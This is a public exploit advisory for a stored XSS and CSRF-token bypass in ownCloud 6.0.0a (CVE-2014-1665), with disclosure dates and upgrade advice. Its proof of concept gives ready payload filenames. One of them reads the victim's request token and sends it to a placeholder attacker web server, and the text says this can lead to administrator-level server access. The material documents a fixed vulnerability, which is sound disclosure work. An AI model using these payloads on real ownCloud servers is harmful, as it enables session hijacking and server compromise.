# Exploit Title: ownCloud 6.0.0a File Deletion XSS and CSRF Protection Bypass
# Vendor Homepage: www.ownCloud.org
# OwnCloud Version: 6.0.0a
# Browsers tested: Iceweasel 22.0; Internet Explorer 11;
# Server: Debian. Default LAMP set-up.
# Exploit Author: James Sibley (absane)
# Blog: http://blog.noobroot.com
# Discovery date: December 12th, 2013
# Vendor notified: December 12th, 2013
# Vendor fixed: January 22th, 2014
# CVE assignment: CVE-2014-1665
A malicious ownCloud user can upload a file with JavaScript code in the filename, share it, and cause a XSS attack when the victim tries to either view the contents of the file or delete the file.
If the victim is an ownCloud administrator, an attacker can force the mounting of the webserver's local file system, leading to unauthorized access to server resources and potentially shell access.
=======================
=Proof of Concept.....=
=======================
1) Create a file named <img src=x onerror=alert(0);>.txt (on a Linux machine)
2) Upload it to OwnCloud by clicking on the Upload button (up arrow next to "new") on the Web UI.
3) Share the file with the victim.
4) When the victim sees the shared file in their "Shared" directory, they can:
a) View the contents of the file within OwnCloud, or
b) become suspicious of the file and attempt to delete it.
Both a) and b) options will result in Javascript being executed in the victim's web browser.

** **
** NOTE: Replace [ATTACKER'S WEBSERVER] with the attacker's domain/IP. **
** NOTE: Replace [ATTACKER] with the attacker's account on ownCloud. **
** NOTE: Replace [VICTIM] with the victim's ownCloud domain/IP. **

** Filename (share a malicious file with this name):
<img src=x onerror="var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken');
document.location='http://[ATTACKER'S WEBSERVER]/ownCloudhack.php?rt='+z";>

=======================
=Mitigation...........=
=======================
Upgrade to ownCloud 6.0.1 or greater.
If upgrading is not an option, then the file can be removed by either
1) manually removing the file from the disk via command line interface, or
2) first renaming the file to something else and then deleting the file.
